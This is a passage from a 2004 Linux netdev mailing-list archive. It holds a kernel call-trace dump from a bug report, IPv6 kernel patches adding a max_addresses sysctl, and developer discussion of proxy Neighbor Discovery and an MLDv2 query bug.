000001003fd69870 000001003fd3bed8 Call Trace:{worker_thread+300} {default_wake_function+0} {default_wake_function+0} {worker_thread+0} {worker_thread+0} {kthread+54} {child_rip+8} {keventd_create_kthread+0} {kthread+0} {child_rip+0} aio/0 S 000001003ff88948 8 3 199 4 (L-TLB) 000001003fd11e88 0000000000000046 ffffffff80311600 0000000000000003 0000000000000000 0000007d00000000 000001003fd0f420 000001003ff88910 0000000000000000 0000000000000000 Call Trace:{worker_thread+300} {default_wake_function+0} {default_wake_function+0} {worker_thread+0} {worker_thread+0} {kthread+54} {child_rip+8} {keventd_create_kthread+0} {kthread+0} {child_rip+0} pdflush S 000000000003fff0 5 1 6 3 (L-TLB) 000001003fd19ee8 0000000000000046 ffffffff80311600 0000000000000000 0000000000000000 0000007d00000000 000001003ff891a0 000001003ff88910 0000000000000000 0000000000000000 Call Trace:{__pdflush+159} {pdflush+12} {child_rip+8} {pdflush+0} {child_rip+0} pdflush S 0000000000000000 6 1 7 5 (L-TLB) 000001003fd17ee8 0000000000000046 ffffffff80311600 0000000000000000 0000000000000000 0000000000000000 000001003ff88910 ffffffff802bb520 0000000000000000 0000000000000000 Call Trace:{__pdflush+159} {pdflush+12} {child_rip+8} {pdflush+0} {child_rip+0} kswapd0 S 000000000003fff0 7 1 10 6 (L-TLB) 000001003fd15da8 0000000000000046 ffffffff80311600 0000000000000000 0000000000000000 0000007d00000000 000001003ff88080 000001003ff8b3e0 0000000000000000 0000000000000000 Call Trace:{kswapd+277} {autoremove_wake_function+0} {autoremove_wake_function+0} {child_rip+8} {kswapd+0} {child_rip+0} kjournald S ffffffff8012f2a0 10 1 192 7 (L-TLB) 000001003fc17e68 0000000000000046 ffffffff80311600 0000010030748340 ffffffff802bb520 0000010030748280 000001003fd0c950 ffffffff802bb520 000001003fc9f298 000001003fc17eb8 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} kjournald S 0000000000000006 192 1 193 10 (L-TLB) 000001003e77be68 0000000000000046 ffffffff80311600 000001003fc9f078 000001003e77be48 0000007d8012f388 000001003f6de340 000001003f6df460 0000000000000000 0000000000000000 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} kjournald S ffffffff8012f2a0 193 1 194 192 (L-TLB) 000001003e4a1e68 0000000000000046 ffffffff80311600 000001003e4a6e78 ffffffff802bb520 000000768012f388 000001003fd0eb90 ffffffff802bb520 000001003e4a6e98 000001003e4a1eb8 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} kjournald S ffffffff8012f2a0 194 1 195 193 (L-TLB) 000001003e51de68 0000000000000046 ffffffff80311600 000001003326ec40 ffffffff802bb520 000000753326eb80 000001003f6ddab0 ffffffff802bb520 000001003e4a6c98 000001003e51deb8 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} kjournald S ffffffff8012f2a0 195 1 196 194 (L-TLB) 000001003e5f3e68 0000000000000046 ffffffff80311600 000001003e4a6a78 ffffffff802bb520 000000738012f388 000001003f6debd0 ffffffff802bb520 000001003e4a6a98 000001003e5f3eb8 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} kjournald S ffffffff8012f2a0 196 1 200 195 (L-TLB) 000001003e4d5e68 0000000000000046 ffffffff80311600 0000010036f6b160 ffffffff802bb520 0000007536f69fa0 000001003f6dc990 ffffffff802bb520 000001003e4a6898 000001003e4d5eb8 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} reiserfs/0 S 0000000000000000 199 3 8 (L-TLB) 000001003ee49e88 0000000000000046 ffffffff80311600 0000000000000206 0000000000000000 00000076a001f8bf 000001003f6dc100 0000010031492e10 000001003fc8c570 000001003ee49ed8 Call Trace:{worker_thread+300} {default_wake_function+0} {default_wake_function+0} {worker_thread+0} {worker_thread+0} {kthread+54} {child_rip+8} {keventd_create_kthread+0} {kthread+0} {child_rip+0} kjournald S ffffffff8012f2a0 200 1 240 196 (L-TLB) 000001003f09de68 0000000000000046 ffffffff80311600 000001003e4a6078 ffffffff802bb520 000000738012f388 000001003e4cf4a0 ffffffff802bb520 000001003e4a6098 000001003f09deb8 Call Trace:{kjournald+455} {autoremove_wake_function+0} {autoremove_wake_function+0} {commit_timeout+0} {child_rip+8} {kjournald+0} {child_rip+0} scsi_eh_0 S 000001003f5a7dc0 240 1 1875 200 (L-TLB) 000001003f31fe48 0000000000000046 ffffffff80311600 0000000000000008 000001003f5e9ac0 0000007d801340a3 000001003e4ce380 000001003e4cec10 000001003f31ff18 ffffffff80133d21 Call Trace:{reparent_to_init+481} {__down_interruptible+198} {default_wake_function+0} {__down_failed_interruptible+53} {:scsi_mod:.text.lock.scsi_error+65} {child_rip+8} {:scsi_mod:scsi_error_handler+0} {child_rip+0} bash S ffffffff80159b41 1875 1 1928 1895 240 (NOTLB) 00000100398ebeb8 0000000000000002 ffffffff80311600 00000100398ebf58 00000000005c7ac0 000000783e4cd260 000001003e4cd260 000001003f6df460 000001003f6df460 ffffffff80131e39 Call Trace:{copy_process+2265} {sys_wait4+598} {default_wake_function+0} {default_wake_function+0} {system_call+124} sshd S 0000000000000256 1895 1 1929 1875 (NOTLB) 0000010039915d88 0000000000000006 ffffffff80311600 0000000000000000 000001003fd0e300 000000758014f070 000001003fd0e300 000001003f6dd220 0000000000000246 0000000000000000 Call Trace:{schedule_timeout+30} {tcp_poll+33} {do_select+778} {__pollwait+0} {sys_select+992} {system_call+124} slabdiff.py S 0000000000000000 1928 1875 (NOTLB) 000001003d78fd88 0000000000000006 ffffffff80311600 ffffffff801ec504 000000000000000a 0000000000000202 000001003f6df460 ffffffff802bb520 000000000000000a ffffffff801eee2d Call Trace:{lf+36} {do_con_write+1581} {schedule_timeout+158} {process_timeout+0} {do_select+778} {write_chan+551} {__pollwait+0} {sys_select+992} {system_call+124} sshd S ffffffff8012f2a0 1929 1895 1932 (NOTLB) 000001003a4a1d88 0000000000000006 ffffffff80311600 00000000000001f7 000001003fd0da70 0000007d00000000 000001003f6dd220 000001003fd0da70 000000003a4a1ec0 000000d000000010 Call Trace:{schedule_timeout+30} {pty_write_room+43} {normal_poll+316} {do_select+778} {__pollwait+0} {sys_select+992} {system_call+124} bash S ffffffff80159b41 1932 1929 1963 (NOTLB) 0000010036f1deb8 0000000000000002 ffffffff80311600 0000010036f1df58 00000000005b6018 0000007d3fd0d1e0 000001003fd0d1e0 000001003fd0da70 000001003fd0da70 ffffffff80131e39 Call Trace:{copy_process+2265} {sysret_signal+28} {sys_wait4+598} {default_wake_function+0} {default_wake_function+0} {system_call+124} ls R current task 1963 1932 (NOTLB) 000001003255df70 0000000000000006 ffffffff80311600 00000000000000a1 000001003f6dd220 0000007500000000 000001003fd0da70 000001003f6dd220 0000000000518200 000000000040c921 Call Trace:{retint_careful+13} Please feel free to ask for more information. (please cc me in replies) Thanks Hari harisri@bigpond.com From yoshfuji@linux-ipv6.org Thu Jan 15 04:29:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 04:30:02 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FCTm6H030054 for ; Thu, 15 Jan 2004 04:29:48 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 304AB33CA5; Thu, 15 Jan 2004 21:30:15 +0900 (JST) Date: Thu, 15 Jan 2004 21:30:14 +0900 (JST) Message-Id: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, vnuorval@tcs.hut.fi, netdev@oss.sgi.com Subject: [PATCH] IPV6: added sysctl for maximum number of addresses From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2484 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 4663 Lines: 160 Hello. In some configuration, we need addresses more than 16 addresses per interface. This pach adds new sysctl for configuring the maximum number of addresses per interface. Thanks in advance. ===== Documentation/networking/ip-sysctl.txt 1.18 vs edited ===== --- 1.18/Documentation/networking/ip-sysctl.txt Thu Dec 25 12:32:23 2003 +++ edited/Documentation/networking/ip-sysctl.txt Thu Jan 15 21:25:49 2004 @@ -667,6 +667,13 @@ valid temporary addresses. Default: 5 +max_addresses - INTEGER + Number of maximum addresses per interface. 0 disables limitation. + It is recommended not set too large value (or 0) because it would + be too easy way to crash kernel to allow to create too much of + autoconfigured addresses. + Default: 16 + icmp/*: ratelimit - INTEGER Limit the maximal rates for sending ICMPv6 packets. ===== include/linux/ipv6.h 1.15 vs edited ===== --- 1.15/include/linux/ipv6.h Fri Jan 2 05:28:33 2004 +++ edited/include/linux/ipv6.h Thu Jan 15 21:17:23 2004 @@ -143,6 +143,7 @@ __s32 regen_max_retry; __s32 max_desync_factor; #endif + __s32 max_addresses; void *sysctl; }; @@ -165,6 +166,7 @@ DEVCONF_REGEN_MAX_RETRY, DEVCONF_MAX_DESYNC_FACTOR, #endif + DEVCONF_MAX_ADDRESSES, DEVCONF_MAX }; ===== include/linux/sysctl.h 1.54 vs edited ===== --- 1.54/include/linux/sysctl.h Thu Dec 25 12:32:23 2003 +++ edited/include/linux/sysctl.h Thu Jan 15 21:03:14 2004 @@ -418,7 +418,8 @@ NET_IPV6_TEMP_VALID_LFT=12, NET_IPV6_TEMP_PREFERED_LFT=13, NET_IPV6_REGEN_MAX_RETRY=14, - NET_IPV6_MAX_DESYNC_FACTOR=15 + NET_IPV6_MAX_DESYNC_FACTOR=15, + NET_IPV6_MAX_ADDRESSES=16 }; /* /proc/sys/net/ipv6/icmp */ ===== include/net/addrconf.h 1.11 vs edited ===== --- 1.11/include/net/addrconf.h Sun Jul 6 02:36:23 2003 +++ edited/include/net/addrconf.h Thu Jan 15 21:05:01 2004 @@ -15,6 +15,8 @@ #define ADDR_CHECK_FREQUENCY (120*HZ) +#define IPV6_MAX_ADDRESSES 16 + struct prefix_info { __u8 type; __u8 length; ===== net/ipv6/addrconf.c 1.79 vs edited ===== --- 1.79/net/ipv6/addrconf.c Thu Jan 8 05:17:40 2004 +++ edited/net/ipv6/addrconf.c Thu Jan 15 21:09:43 2004 @@ -81,8 +81,6 @@ #include #include -#define IPV6_MAX_ADDRESSES 16 - /* Set to 3 to get tracing... */ #define ACONF_DEBUG 2 @@ -160,6 +158,7 @@ .regen_max_retry = REGEN_MAX_RETRY, .max_desync_factor = MAX_DESYNC_FACTOR, #endif + .max_addresses = IPV6_MAX_ADDRESSES, }; static struct ipv6_devconf ipv6_devconf_dflt = { @@ -180,6 +179,7 @@ .regen_max_retry = REGEN_MAX_RETRY, .max_desync_factor = MAX_DESYNC_FACTOR, #endif + .max_addresses = IPV6_MAX_ADDRESSES, }; /* IPv6 Wildcard Address and Loopback Address defined by RFC2553 */ @@ -630,6 +630,7 @@ unsigned long tmp_prefered_lft, tmp_valid_lft; int tmp_plen; int ret = 0; + int max_addresses; if (ift) { spin_lock_bh(&ift->lock); @@ -685,9 +686,11 @@ ifp->prefered_lft, idev->cnf.temp_prefered_lft - desync_factor / HZ); tmp_plen = ifp->prefix_len; + max_addresses = idev->cnf.max_addresses; write_unlock(&idev->lock); spin_unlock_bh(&ifp->lock); - ift = ipv6_count_addresses(idev) < IPV6_MAX_ADDRESSES ? + ift = !max_addresses || + ipv6_count_addresses(idev) < max_addresses ? ipv6_add_addr(idev, &addr, tmp_plen, ipv6_addr_type(&addr)&IPV6_ADDR_SCOPE_MASK, IFA_F_TEMPORARY) : 0; if (!ift || IS_ERR(ift)) { @@ -1390,10 +1393,13 @@ ifp = ipv6_get_ifaddr(&addr, dev); if (ifp == NULL && valid_lft) { + int max_addresses = in6_dev->cnf.max_addresses; + /* Do not allow to create too much of autoconfigured * addresses; this would be too easy way to crash kernel. */ - if (ipv6_count_addresses(in6_dev) < IPV6_MAX_ADDRESSES) + if (!max_addresses || + ipv6_count_addresses(in6_dev) < max_addresses) ifp = ipv6_add_addr(in6_dev, &addr, pinfo->prefix_len, addr_type&IPV6_ADDR_SCOPE_MASK, 0); @@ -2722,6 +2728,7 @@ array[DEVCONF_REGEN_MAX_RETRY] = cnf->regen_max_retry; array[DEVCONF_MAX_DESYNC_FACTOR] = cnf->max_desync_factor; #endif + array[DEVCONF_MAX_ADDRESSES] = cnf->max_addresses; } static int inet6_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, @@ -3050,6 +3057,14 @@ .proc_handler = &proc_dointvec, }, #endif + { + .ctl_name = NET_IPV6_MAX_ADDRESSES, + .procname = "max_addresses", + .data = &ipv6_devconf.max_addresses, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, }, .addrconf_dev = { { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Thu Jan 15 04:46:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 04:46:31 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FCkI6H030580 for ; Thu, 15 Jan 2004 04:46:18 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 6375B33CC2; Thu, 15 Jan 2004 21:46:45 +0900 (JST) Date: Thu, 15 Jan 2004 21:46:45 +0900 (JST) Message-Id: <20040115.214645.54863143.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH 2] IPV6: Don't change indexes depends on configuration From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2485 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 827 Lines: 31 Hello. The DEVCONF_xxx are part of kernel - user interface. It should have been constant even if the kernel config changed. This patch depends on the "[PATCH] IPV6: added sysctl for maximum number of addresses" patch. Thanks. --- linux26+maxaddresses/include/linux/ipv6.h Thu Jan 15 21:38:08 2004 +++ linux26+maxaddresses+devconf/include/linux/ipv6.h Thu Jan 15 21:38:17 2004 @@ -159,13 +159,11 @@ DEVCONF_RTR_SOLICITS, DEVCONF_RTR_SOLICIT_INTERVAL, DEVCONF_RTR_SOLICIT_DELAY, -#ifdef CONFIG_IPV6_PRIVACY DEVCONF_USE_TEMPADDR, DEVCONF_TEMP_VALID_LFT, DEVCONF_TEMP_PREFERED_LFT, DEVCONF_REGEN_MAX_RETRY, DEVCONF_MAX_DESYNC_FACTOR, -#endif DEVCONF_MAX_ADDRESSES, DEVCONF_MAX }; -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From vnuorval@tcs.hut.fi Thu Jan 15 05:00:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 05:00:49 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FD0Q6H031094 for ; Thu, 15 Jan 2004 05:00:26 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 5200880008C; Thu, 15 Jan 2004 15:00:25 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FD0P7Y000845; Thu, 15 Jan 2004 15:00:25 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FD0Oo0000841; Thu, 15 Jan 2004 15:00:24 +0200 Date: Thu, 15 Jan 2004 15:00:24 +0200 (EET) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> Message-ID: References: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i0FD0Q6H031094 X-archive-position: 2486 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 894 Lines: 26 On Wed, 14 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > I don't think so. Proxy should not depend on netfilter. That's not very constructive criticism, Yoshifuji-san ;) There aren't that many ways of doing this "hack" cleanly. The fact of the matter is: the proxy needs to scan through the unicast packets to filter out the Neighbor Discovery packets, if it supports NUD. I think a netfilter module is the cleanest way of doing this. It doesn't change any interfaces either inside the kernel, or to userspace. As a module this feature is also easy to turn on if you want it, and it doesn't cause any preformance penalties if you don't. What kind of solution do you propose for this problem? Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From vnuorval@tcs.hut.fi Thu Jan 15 05:02:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 05:02:58 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FD2i6H031481 for ; Thu, 15 Jan 2004 05:02:45 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id EE20C80008C; Thu, 15 Jan 2004 15:02:43 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FD2h7Y000855; Thu, 15 Jan 2004 15:02:43 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FD2hpK000851; Thu, 15 Jan 2004 15:02:43 +0200 Date: Thu, 15 Jan 2004 15:02:43 +0200 (EET) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: added sysctl for maximum number of addresses In-Reply-To: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> Message-ID: References: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2487 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 245 Lines: 11 Hello Yoshifuji-san, your patch looks good to me at least, FWIW. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From hibi665@oki.com Thu Jan 15 05:17:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 05:18:03 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FDHm6H031949 for ; Thu, 15 Jan 2004 05:17:48 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id WAA22624 for ; Thu, 15 Jan 2004 22:17:46 +0900 Received: (qmail 7667 invoked from network); 15 Jan 2004 22:16:50 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 15 Jan 2004 22:16:50 +0900 Message-Id: <20040115221841.7e7cc78d%hibi665@oki.com> MIME-Version: 1.0 Date: Thu, 15 Jan 2004 22:18:41 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: netdev@oss.sgi.com Subject: Source Specific Query of MLDv2 X-archive-position: 2488 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev Content-Length: 661 Lines: 20 Hi all, I found another problem of MLDv2. The host doesn't respond to Source Specific Query. It happens in the following scenario. At first, host join multicast address with source address. Then MLDv2 router issues Source Specific Query. The source address of the query packet is link-local address of the router's interface, and the destination address is the multicast address to be queried. (See section 5.1.4 in draft-vida-mld-v2-08.txt) But it seems that the query packet is filtered by ipv6_chk_mcast_addr(), since the source address is not included in the source list. As a result, no response to the query is produced . Regards, Takashi Hibi From yoshfuji@linux-ipv6.org Thu Jan 15 05:34:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 05:34:17 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FDY36H032561 for ; Thu, 15 Jan 2004 05:34:03 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id D50AC33CA5; Thu, 15 Jan 2004 22:34:30 +0900 (JST) Date: Thu, 15 Jan 2004 22:34:30 +0900 (JST) Message-Id: <20040115.223430.100570163.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2489 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 559 Lines: 17 In article (at Thu, 15 Jan 2004 15:00:24 +0200 (EET)), Ville Nuorvala says: > On Wed, 14 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > > I don't think so. Proxy should not depend on netfilter. : > There aren't that many ways of doing this "hack" cleanly. Well... We (or only me?) might have mis-understood the "proxy" in Linux :-P It is not for proxy in rfc2461, is it? It is for proxy in Thaler's draft, isn't it? If so... hmm... let me consider... --yoshfuji From vnuorval@tcs.hut.fi Thu Jan 15 06:53:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 06:54:00 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FErk6H003321 for ; Thu, 15 Jan 2004 06:53:46 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 297C280008C; Thu, 15 Jan 2004 16:53:45 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FErj7Y001222; Thu, 15 Jan 2004 16:53:45 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FErg02001218; Thu, 15 Jan 2004 16:53:42 +0200 Date: Thu, 15 Jan 2004 16:53:42 +0200 (EET) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: <20040115.223430.100570163.yoshfuji@linux-ipv6.org> Message-ID: References: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> <20040115.223430.100570163.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i0FErk6H003321 X-archive-position: 2490 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 2042 Lines: 51 On Thu, 15 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > In article (at Thu, 15 Jan 2004 15:00:24 +0200 (EET)), Ville Nuorvala says: > > > On Wed, 14 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > > > > I don't think so. Proxy should not depend on netfilter. > : > > There aren't that many ways of doing this "hack" cleanly. > > Well... > > We (or only me?) might have mis-understood the "proxy" in Linux :-P > It is not for proxy in rfc2461, is it? > It is for proxy in Thaler's draft, isn't it? No, it's for the proxy go old proxy in rfc2461 :( The definition of a proxy is described so vaguely in the rfc, that you have to think *really* carefully about how it is *supposed* to work. I and Pekka were talking about starting a proxy ND discussion on the IEFT ipv6 mailing list. I guess the text could be clarified a lot. The rfc in its current form (lets hope we get an improvement in 2461bis :) states the proxy verifies that the target address in a NS is a unicast address it is proxying. With multicast NS messages proxying is simple: to receive the message just have the proxying router join the solicited nodes multicast group. With unicast NS messages used for NUD, things get complicated: normally the router just routes unicast packets between interfaces, but a proxying router has to investigate the packets it receives to see if they happen to be NS messages sent to an address it is proxying. I think netfilter is the best place for this kind of additional packet parsing, since similar things are already done with the existing filters. This way you also take the preformance hit caused by the extra parsing only when you need the proxy functionality and load the module. If you don't have the module loaded you don't take the hit. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From yoshfuji@linux-ipv6.org Thu Jan 15 07:00:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:01:19 -0800 (PST) Received: from 